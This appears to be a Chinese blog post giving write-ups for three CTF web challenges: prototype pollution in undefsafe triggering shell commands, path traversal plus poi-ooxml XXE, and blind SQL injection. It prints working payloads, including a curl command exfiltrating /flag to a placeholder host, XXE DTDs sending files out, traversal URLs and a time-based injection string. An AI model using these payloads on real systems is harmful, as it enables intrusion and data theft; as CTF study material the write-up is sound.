做了一早上 Misc,把人做没了。准备恰饭结果突然 Web 放题,大大的问号
总体感觉 PY 严重,Web 题不太行,把秒的两道题和快出的一道题题解丢一下
Notes
undefsafe
原型链污染
题目开始放出来一脸蒙,没有任何东西,难不成是心灵感应题?
结果过了一会回去才发现题目描述更新,给了源码
因为无 views 模版,魔改一下
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() {
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
// res.render('index', { title: 'Notebook' });
res.send("Notebook");
});
app.route('/add_note')
.get(function(req, res) {
// res.render('mess', {message: 'please use POST to add a note'});
res.send('please use POST to add a note')
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.send({message: "add note sucess"});
} else {
res.send({message: "did not add note"});
}
})
app.route('/edit_note')
.get(function(req, res) {
res.send({message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.send({message: "edit note sucess"});
} else {
res.send({message: "edit note failed"});
}
})
app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.send({message: "delete done"});
} else {
res.send({message: "delete failed"});
}
})
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.send({list: a_note});
})
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});
const port = 60880;
app.listen(port, "0.0.0.0", () => console.log(`Example app listening at http://localhost:${port}`))
拿到这源码一看,undefsafe
是啥奇怪的玩意啊。于是谷歌一搜,第四个结果就是 snyk 的漏洞报告
点进去一看,妈耶,倒数第二次更新都两年前的包了,最近不知道被谁拿出来鞭尸。想必这个题也必然不可能是最新的包,盲猜一手就是有洞的版本,即 2.0.2
然后丢进某个文件夹,npm i [email protected] express pug
搭完本地调试环境
有原型链污染了,思路也就很明显了
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
这个 for(let index in commands)
可以迭代到我们污染的原型链的成员,所以污染原型链随便加个成员赋值成个命令进去就完事了
然后就是照着给的 PoC 打就完了
undefsafe(this.note_list, id + '.author', author);
可以看到 id
和 author
完全可控,直接发包完事
先加个 note (好像没必要
POST /add_note
author=asd&raw=asd
然后修改,污染原型链
POST /edit_note
id=constructor.prototype&author=curl http://ip:port/`cat /flag`&raw=fuck2
然后用 status 触发一下
GET /status
完事
filejava
看了一眼,文件上传,先传个 jsp 看看咋样
结果给出了下载链接,这种文件名写在 GET 参数里的,随手打一下目录穿透,结果真就目录穿透了,,
先试了几个报错,直接把路径爆出来了,那么顺理成章直接拿源码了(顺手读了下 /etc/shadow
,还是 root 用户起的服务
考虑到是 tomcat,那么直接拖 war 包下来丢 JD-GUI 就完事了
/file_in_java/DownloadServlet?filename=../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java.war
脱下来丢 JD-GUI,看一眼 UploadServlet
,结果有个 xslx 的啥都不处理的处理,然后还提示个
System.err.println("poi-ooxml-3.10 has something wrong");
这不就明摆着告诉你 poi-ooxml-3.10
的 XXE 了么,,,
Exp 网上 114514 个,也不细说了
改一下 [Content_Types].xml
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip:port1/test.dtd">
%remote;%int;%send;
]>
重新打包回 xslx,上传即可
服务器上丢一个 test.dtd
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:port2/?p=%file;'>">
trace
乍一看又是一道心灵感应题(其实就是个心灵感应题),扫了一遍发现空空荡荡,于是看看 register_do.php
到底干了啥
这种输入的,当然直接丢个单引号看看
然后就爆了个 Mysql Error
再加上是个注册,那么就是个 Insert 盲注了,这里我用时间盲注
按照老套路,爆下数据库和版本试试
- database: ctf
- version: 5.5.62 ubuntu
这个 Mysql 版本,过滤了 information_schema
,我猜是没法去爆表名了
心灵感应的时候到了,我猜 flag
就在当前库也就是 ctf
库的 flag
表里面
验证也很简单,直接 select * from flag
就可以了,因为时间盲注,如果表存在必然延时
结果表还真就是 flag
那么后面就很简单了,用子查询绕过字段名然后爆破就行了
Payload
username=fuck',1+%26%26+if(mid((select+fuck2+from+(select+1+as+fuck1,2+as+fuck2+from+flag+where+1=0+union+select+*+from+flag)x),$$,1)='$$',sleep(10),0)+||+pow(2,1024))%23&password=a
可惜最后时间不够,又没有现成的时间盲注脚本存货,手动 burp 爆把人爆没了,最后几分钟失去理想,等死
总结
体验 8 行,这个 Web 题出的感觉质量一般,而且感觉 PY 很严重
发表评论
沙发空缺中,还不快抢~